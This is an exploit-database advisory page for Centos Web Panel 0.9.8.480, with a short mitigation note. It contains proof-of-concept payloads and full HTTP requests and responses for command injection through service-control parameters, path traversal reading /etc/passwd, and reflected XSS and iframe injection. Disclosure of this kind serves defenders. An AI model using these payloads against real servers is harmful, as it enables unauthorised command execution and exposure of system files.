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vendor:
Centos Web Panel
by:
Seccops - Siber Güvenlik Hizmetleri
7.5
CVSS
HIGH
Command Injection
78
CWE
Product Name: Centos Web Panel
Affected Version From: 0.9.8.480
Affected Version To: 0.9.8.480
Patch Exists: NO
Related CWE: N/A
CPE: a:centos_web_panel:centos_web_panel:0.9.8.480
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Centos 7
2018

Centos Web Panel 0.9.8.480 Multiple Vulnerabilities

Centos Web Panel 0.9.8.480 is vulnerable to Command Injection. Attackers can inject malicious commands via the service_start and service_restart parameters in the index.php file. The malicious commands are executed in the context of the web server user.

Mitigation:

Input validation should be used to prevent command injection attacks. Input validation should be applied on both client-side and server-side. Server-side input validation should be used to detect malicious input before executing the command.
Source

Exploit-DB raw data:

# Exploit Title: Centos Web Panel 0.9.8.480 Multiple Vulnerabilities
# Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com)
# Vendor Homepage: http://centos-webpanel.com/
# Software Link: http://centos-webpanel.com/system-requirements
# Version: 0.9.8.480
# Tested on: Centos 7
# Vulnerability Types: Command Injection, Local File Inclusion, Cross-site Scripting, Frame Injection
# CVE: -
  
### Vulnerability Name: Command Injection ###
 
1)
Proof URL: http://localhost:2030/admin/index.php?service_start=opendkim;expr 268409241 - 2;x  
Parameter Name: service_start  
Parameter Type: GET  
Attack Pattern: opendkim%3bexpr+268409241+-+2%3bx 
 
HTTP Request:
 
GET /admin/index.php?service_start=opendkim%3bexpr%20268409241%20-%202%3bx HTTP/1.1
Host: localhost:2030
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: cwpsrv-983b3c1326b3c5dafa7941a1ef2fbf67=jhg556f3k83kpgbhbdfsd0pps6; resolve_ids=0; roundcube_sessid=j2h7ad1kb1coji7hba2bo5pil5; order_dir_list_by=7D
Referer: http://localhost:2030/admin/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
 
Note: Mathematical process: 268409241 - 2. So, the result is expected 268409239.
 
HTTP Response:
 
HTTP/1.1 200 OK
Server: cwpsrv
X-Powered-By: PHP/7.0.24
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Mon, 01 Oct 2018 21:06:42 GMT
Cache-Control: no-store, no-cache, must-revalidate
 
    HTML Content:
 
        <div class='alert alert-warning'>
                    <button type='button' class='close' data-dismiss='alert'>×</button>
                    <strong>WARNING!</strong> <pre>268409239
        sh: x.service: command not found
        </pre><br>
 
2)
Proof URL: http://localhost:2030/admin/index.php?service_restart=sshd;expr 268409241 - 2;x  
Parameter Name: service_restart  
Parameter Type: GET  
Attack Pattern: sshd%3bexpr+268409241+-+2%3bx
 
3)
Proof URL: http://localhost:2030/admin/index.php?service_fullstatus=opendkim;expr 268409241 - 2;x  
Parameter Name: service_fullstatus  
Parameter Type: GET  
Attack Pattern: opendkim%3bexpr+268409241+-+2%3bx 
 
4)
Proof URL: http://localhost:2030/admin/index.php?service_stop=named;expr 268409241 - 2;x  
Parameter Name: service_stop  
Parameter Type: GET  
Attack Pattern: named%3bexpr+268409241+-+2%3bx
 
### Vulnerability Name: Local File Inclusion ###
 
1)
Proof URL: http://localhost:2030/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd  
Parameter Name: file  
Parameter Type: GET  
Attack Pattern: %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  
 
HTTP Request:
 
GET /admin/index.php?module=file_editor&file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: localhost:2030
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: cwpsrv-983b3c1326b3c5dafa7941a1ef2fbf67=jhg556f3k83kpgbhbdfsd0pps6; resolve_ids=0; roundcube_sessid=j2h7ad1kb1coji7hba2bo5pil5; order_dir_list_by=7D
Referer: http://localhost:2030/admin/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
 
HTTP Response:
 
HTTP/1.1 200 OK
Server: cwpsrv
X-Powered-By: PHP/7.0.24
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Mon, 01 Oct 2018 20:45:19 GMT
Cache-Control: no-store, no-cache, must-revalidate
 
    HTML Content:
        File info <a href='index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd&stats=yes'>[stats]</a>:<pre>-rw-r--r-- 1 root root 2272 Sep 28 07:48 /../../../../../../../../../../../etc/passwd
        </pre><h3>Contents of File: /../../../../../../../../../../../etc/passwd</h3>
            <form action='' method= 'post'>
            <textarea id='textarea' name='newd' cols='100%' rows='50'>root:x:0:0:root:/root:/bin/bash
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
        lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
        sync:x:5:0:sync:/sbin:/bin/sync
        etc...
        
### Vulnerability Name: Cross-site Scripting & Frame Injection ###
 
1)
Proof URL: http://localhost:2030/admin/fileManager2.php?frame=3&action=8&cmd_arg=design&fm_current_dir=<scRipt>alert(1)</scRipt>  
Parameter Name: fm_current_dir  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
2)
Proof URL: http://localhost:2030/admin/index.php?module=<scRipt>alert(1)</scRipt>&file=/etc/sysconfig/selinux  
Parameter Name: module  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
3)
Proof URL: http://localhost:2030/admin/index.php?service_start=<scRipt>alert(1)</scRipt>  
Parameter Name: service_start  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
4)
Proof URL: http://localhost:2030/admin/index.php?service_fullstatus=<scRipt>alert(1)</scRipt>  
Parameter Name: service_fullstatus  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
5)
Proof URL: http://localhost:2030/admin/index.php?service_restart=<scRipt>alert(1)</scRipt>  
Parameter Name: service_restart  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
6)
Proof URL: http://localhost:2030/admin/index.php?service_stop=<scRipt>alert(1)</scRipt>  
Parameter Name: service_stop  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
7)
Proof URL: http://localhost:2030/admin/index.php?module=file_editor&file=<scRipt>alert(1)</scRipt>  
Parameter Name: file  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
8)
Proof URL: http://localhost:2030/admin/index.php?module=<scRipt>alert(1)</scRipt>&dir=/var/log  
Parameter Name: module  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e

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